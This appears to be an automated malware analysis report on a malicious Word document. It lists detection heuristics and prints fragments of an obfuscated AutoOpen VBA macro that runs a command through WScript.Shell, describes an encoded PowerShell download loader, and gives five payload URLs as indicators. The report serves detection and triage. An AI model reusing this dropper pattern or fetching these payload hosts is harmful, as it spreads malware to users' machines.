Malicious Office (OLE) — malware analysis report

Heuristics 10

• VBA macros detected medium 5 related findings OLE_VBA_MACROS
  Document contains VBA macro code
• WScript.Shell usage critical OLE_VBA_WSCRIPT
  WScript.Shell usage
  Matched line in script

     hoQaSK = rbNpB - moRtT * 19309 / qrQoZ / 82301 * 44185 * FhikwG + 98640 - (zHFuS / tViZjw)
  PNFAA = PRrEPwrE + CreateObject("Wscript.shell").Run(NCUUluW + Chr(vbKeyP) + zNOCrKJIIw + Chr(vbKeyO) + iaBWhJiwV + winkzkDX, 905382965 - 905382965)
     GLAWG = aAFPRU - RAujV * 39969 / SlNpWP / 49672 * 15969 * ZtwSQS + 95872 - (cLzVW / HGdtKH)

• CreateObject call high OLE_VBA_CREATEOBJ
  CreateObject call
  Matched line in script

     hoQaSK = rbNpB - moRtT * 19309 / qrQoZ / 82301 * 44185 * FhikwG + 98640 - (zHFuS / tViZjw)
  PNFAA = PRrEPwrE + CreateObject("Wscript.shell").Run(NCUUluW + Chr(vbKeyP) + zNOCrKJIIw + Chr(vbKeyO) + iaBWhJiwV + winkzkDX, 905382965 - 905382965)
     GLAWG = aAFPRU - RAujV * 39969 / SlNpWP / 49672 * 15969 * ZtwSQS + 95872 - (cLzVW / HGdtKH)

• Payload URL decoded from an encoded PowerShell loader (5 URLs) high OLE_VBA_ENCODED_PS_DROPPER_URL
  A VBA macro assembles (from literals scattered across helper functions) a WScript.Shell command that runs a PowerShell stage-2 loader whose download URL is hidden in a numeric char-code array — decoded at runtime by [char]($_ -bxor k) (or +k / -k) after splitting on obfuscated delimiters. The decoded hosts (often an @-separated fallback list dropped to %TEMP% and executed) are the next-stage payload URLs, never contiguous on disk; surfaced as IOCs. Self-validating: only a transform yielding a valid host URL is reported.
• VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
  Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
• AutoOpen macro low OLE_VBA_AUTOOPEN
  AutoOpen macro
  Matched line in script

  Attribute VB_Name = "HtUrJEfW"
  Sub AutoOpen()
  On Error Resume Next

• Reference to Windows Script Host high SC_STR_WSCRIPT
  Reference to Windows Script Host
• Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
  OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
• Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
  One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL http://www.beraysenbas.com/hs2Jv5Y/ Referenced by macro

  • http://healthprotectionplans.com/e3Se04G/Referenced by macro
  • http://www.homestaynew.com/MNh/Referenced by macro
  • http://www.bodysync.ir/tQseO/Referenced by macro
  • http://www.bachtalias.com/Pv7u9/Referenced by macro
  • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Open this report in the interactive analyzer, or submit your own file for analysis.